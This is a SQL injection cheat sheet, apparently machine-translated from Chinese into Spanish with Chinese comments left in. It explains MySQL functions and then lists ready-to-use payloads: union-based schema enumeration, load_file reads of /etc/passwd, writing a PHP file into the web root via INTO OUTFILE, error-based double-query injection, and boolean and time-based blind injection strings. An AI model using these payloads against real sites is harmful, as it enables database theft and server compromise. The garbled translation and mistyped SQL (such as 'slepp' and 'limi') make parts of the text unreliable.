Inyección SQL de puntos de conocimiento típicos
- Oraciones comunes
-
- 1. Declaración de comentario SQL ("-" y "/*...*/")
- 2. Declaración de consulta SELECT
- 3. Operador UNION (la función de la declaración combinada)
- 4. Declaración de Concat (es decir, función de conexión)
- 5.ordenar por
- 6. Si declaración
- Instrucción 7.slepp ()
- Estado de cuenta 8.
- 9.extract declaración
- 10.longitud ()
- Funciones comunes
- Cómo utilizar métodos de inyección habituales
Oraciones comunes
1. Declaración de comentario SQL ("-" y "/ … /")
(1) -: indica un comentario de una sola línea
(2) / … /: se utiliza para comentarios de varias líneas (bloque)
2. Declaración de consulta SELECT
SELECT 列名称 FROM 表名称
SELECT * FROM 表名称
3. Operador UNION (la función de la declaración combinada)
Como
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
4. Declaración de Concat (es decir, función de conexión)
①concat () La
función CONCAT se usa para concatenar dos cadenas en una sola. Por
ejemplo
SELECT CONCAT(id, ‘,’, name) AS con FROM info LIMIT 1;//即将id与name从info中报出
②concat_ws ()
tiene un parámetro separador más
SELECT CONCAT_WS('_',id,name) AS con_ws FROM info LIMIT 1;//即将id,name以_相连使用
③group_concat () significa
que todos los parámetros de un grupo se descomponen
5.ordenar por
ORDER BY se usa para ordenar (el valor predeterminado es el orden ascendente),
pero la mayor parte de la inyección SQL se usa para detectar cuántos parámetros
6. Si declaración
IF (expr1, expr2, expr3)
expr1 es la condición de juicio, expr2 y expr3 son resultados de devolución personalizados que cumplen expr1.
Uso típico
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0(S)
如果当前用户不是"sa"或者"dbo",就会抛出一个divide by zero error。
Instrucción 7.slepp ()
Usado típicamente en persianas
sleep(100)即延时多少的作用
Estado de cuenta 8.
①COUNT (column_name) devuelve el número de valores en la columna especificada (NULL no se cuenta)
SELECT COUNT(column_name) FROM table_name//即返回table_name的字段数目
La función ②COUNT (*) devuelve el número de registros en la tabla
SELECT COUNT(column_name) FROM table_name//即返回table_name的所有字段数
9.extract declaración
La función EXTRACT () se utiliza para devolver partes individuales de la fecha / hora, como año, mes, día, hora, minuto, etc.
EXTRACT(unit FROM date)//unit为选择的参数可以为day,week,year等
10.longitud ()
Devuelve la longitud de la cadena.
select length("123456") #返回6
Funciones comunes
1. Función de información
database (), usado para obtener la información actual de la base de datos
version (): devuelve la versión de la base de datos, equivalente a @@ version
user (): devuelve el usuario actual, equivalente al parámetro current_user
@@ datadir, obtiene el almacenamiento de la base de datos posición.
select user(); #root@localhost
select current_user; #root@localhost
select @@datadir; #D:\xampp\mysql\data\
select @@baserdir; //即数据库的安装路径
2. Función funcional
①Función de lectura y escritura load_file (): puede entenderse como lectura y escritura de archivos
select * from users union select 1,load_file('/etc/passwd'),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16进制绕过单引号限制
en el archivo de salida: archivo de escritura (siempre que tenga permiso de escritura)
select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php';
select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';
②Interception función subtring (), substr (): se utiliza para truncar la cadena. El uso es: substr (str, pos, length), tenga en cuenta que pos comienza desde 1.
select substr((select database()),1,1);
Cómo utilizar métodos de inyección habituales
Inyección básica
1' order by num # 确定字段长度
1' union select 1,2,3 # 确定字段长度
-1' union select 1,2,3 # 判断页面中显示的字段
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #显示mysql中所有的数据库
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1 在注释符无法使用的情况下
Inyección avanzada,
doble búsqueda y selección de sql
select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #这种sql语句的写法,常用于sql的盲注。得到数据库的信息
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到数据库的表的信息
#利用姿势如下:
1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+
Blind bool note (la información se obtiene según el contenido de la página correspondiente al valor de retorno verdadero o falso de la ejecución de la sentencia SQL)
1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90
Inyección de tiempo ciego (según la longitud de retorno para determinar si se ejecuta el sueño para obtener)
1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+